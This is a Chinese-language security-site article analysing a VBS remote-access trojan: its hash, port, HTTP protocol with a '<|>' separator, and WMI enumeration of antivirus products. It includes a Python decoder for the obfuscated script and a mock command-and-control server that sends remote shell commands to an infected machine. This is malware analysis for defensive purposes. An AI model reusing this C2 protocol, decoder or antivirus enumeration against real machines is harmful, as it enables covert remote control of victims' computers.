首页 资讯 安全 查看内容

针对VBS远控木马的技术分析

2014-10-29 20:45 801 0

摘要: 木马基本信息MD5:0ad2a50ac1a1a98ce3db134e795e2974大小:97,525 字节目标端口:1346上线域名:略原始文件局部一览:根据脚本本身,拿python写了一个简单的解...
关键词: nbsp 木马 self 脚本 text 信息 remainbytes key Content 文件

木马基本信息MD5:0ad2a50ac1a1a98ce3db134e795e2974大小:97,525 字节目标端口:1346上线域名:略原始文件局部一览:根据脚本本身,拿python写了一个简单的解密片段得到明文vbs恶意文件,或者更简单的方法就是把executeGlobal直接写到另一个文件里保存下来。'executeGlobal (CKglagJDVsalqnU) set fso =createobject("scripting.filesystemobject") fso.createtextfile("C:\\1.txt").write CKglagJDVsalqnU木马执行VBS脚本启动的时候被Wscript.exe分析执行,即Wscripts是VBS脚本的解释器。木马协议特征:该木马传输主要是同过http协议传输,同时以字符串“<|>”作为信息分割,通过WMI查询本地计算机信息以及安全信息。set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc) Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0) for each objantivirus in colantivirus     security  = security  & objantivirus.displayname & " ."该后门已知功能包括:本地监听本地监听到上线数据包。上线数据信息是放在user-Agent里面上线后接受远程服务器的指令:利用python写个简易的脚本,模拟服务端,远程执行cmd命令,得到的效果如下(虚拟机中显示):可以看出除了传统PE木马外,木马作者配合其他形式脚本,制作出来的木马能起到免杀效果,未来可能会出现其它解释性语言编写木马也说不定。python解密code片段def decode_code(arg,key):    return chr(ord(arg)-ord(key[0])) encodeString="加密长字符串" split_key = "~*" key = "PqUYslk7QB7zwn7g6BiT7lsXlOixZ7ubWR2" text='' encode_list=encodeString.split(split_key) for i in encode_list:    text=text+decode_code(chr(int(i)-847),key) with open('code','w') as f:    f.write(text) from SimpleHTTPServer import SimpleHTTPRequestHandler from BaseHTTPServer import BaseHTTPRequestHandler from BaseHTTPServer import HTTPServer class MyHTTPRequestHandler(BaseHTTPRequestHandler):    def do_POST(self):        text=self.deal_post_data()        if text is not None:            print text        enc='utf-8'        self.send_response( 200 )        self.send_header("Content-type", "text/html;charset%s" %enc )        ct = r'cmd-shell<|>dir c:\windows'        self.send_header('Content-length', str(len(ct)))        self.end_headers()        self.wfile.write(ct)    def deal_post_data(self):        remainbytes = int(self.headers['content-length'])        if remainbytes:            data = self.rfile.read(remainbytes)            return data if __name__ == '__main__':    port = 1346    handler = SimpleHTTPRequestHandler    httpd = HTTPServer(('', port ), MyHTTPRequestHandler)    print "Server is running at port", port    httpd.serve_forever()
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部